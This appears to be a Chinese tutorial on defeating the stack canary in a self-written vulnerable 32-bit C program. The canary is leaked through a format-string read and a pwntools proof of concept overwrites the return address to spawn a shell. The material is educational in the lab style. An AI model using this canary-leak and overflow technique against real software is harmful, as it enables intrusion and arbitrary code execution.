0x01 canary保护机制
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
0x02 溢出例子
整体思路:
找到溢出点,用我们的shellcode去覆盖栈里面的数据,但添加了canary保护,直接覆盖会把canary也覆盖,导致程序不能执行,所以我们要找出canary,在覆盖的时候,把canary放在payload里,canary覆盖canary,这样保证canary没有被覆盖,其他栈数据被覆盖,就可以过canary保护了。
程序:
#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[16];read(0, str, 64);printf(str);read(0, str, 64);
}
int main()
{func();return 0;
}
利用栈溢出去执行exploit程序,编译:
gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c
启动了栈保护
在func处下个断点
我们看到这个汇编语句,这里就是插入canary,将canary信息放到eax中,然后压入栈中,这是在调用第一个read函数前插入的
我们来看看eax值和压入的canary信息在哪里:0xffffcffc
记录一下read函数把读取的内容放在那个地址:0xffffcfec
我们看一下buf内容和canary地址(0x2fe2d00)相差多少,buf再加上16个字节就到canary的地址了。
查看exploit地址 0x80484cb
查看func的ret语句,此时esp的值:0x8048554,地址为0xffffd00c,和canary相差16个字节
我们要利用read栈溢出,去执行exploit函数,所以我们要覆盖0xffffd00c这个地址数据,内容更换为exploit首地址,但是加了canary保护,我们在覆盖的时候不能覆盖掉canary信息。所以我们在覆盖栈内数据的时候,canary还覆盖成canary信息就行了。
但每次程序执行canary的值都不会相同,这又头疼了,这个时候我们的格式化输出就有用处了。我们可以将canary输出来,然后动态加到我们payload中,这样保证每次都是那个canary
我们可以找到canary距栈顶的距离,这个是不会变的,然后用格式化输出就行了。
利用read将printf要的数据输进去,内容:"%11$08x"
,这样printf就会打印距栈顶11个,就是44个byte,然后打印8个16进制数据,就是canary信息了
poc:
from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1] //将canary转成16进制
coffset=4*4 //read函数距canary16个byte
roffset=3*4
raddr=p32(0x80484cb) //exploit地址
payload=coffset*'a'+canary+roffset*'a'+raddrp.sendline(payload)p.interactive()
执行,成功
0x04 总结
加了canary保护,在调用函数前,会加一个canary信息到栈里面,如果我们利用栈溢出覆盖了栈里面的数据,覆盖了这个canary信息,程序就不能执行。并且每次程序执行,这个canary信息都是不同的,所以我们不能静态的加入到我们的payload里。
- 找到exploit函数地址
- 找到buf首地址距canary地址的距离,就是有溢出的地方,在栈里存放数据的首地址,与canary的距离
- 计算ret语句需要的栈数据与canary距离
- 当执行到格式化输出语句时,查看当前栈里数据,计算canary与栈顶的距离(每4byte为1)
- 修改poc程序,执行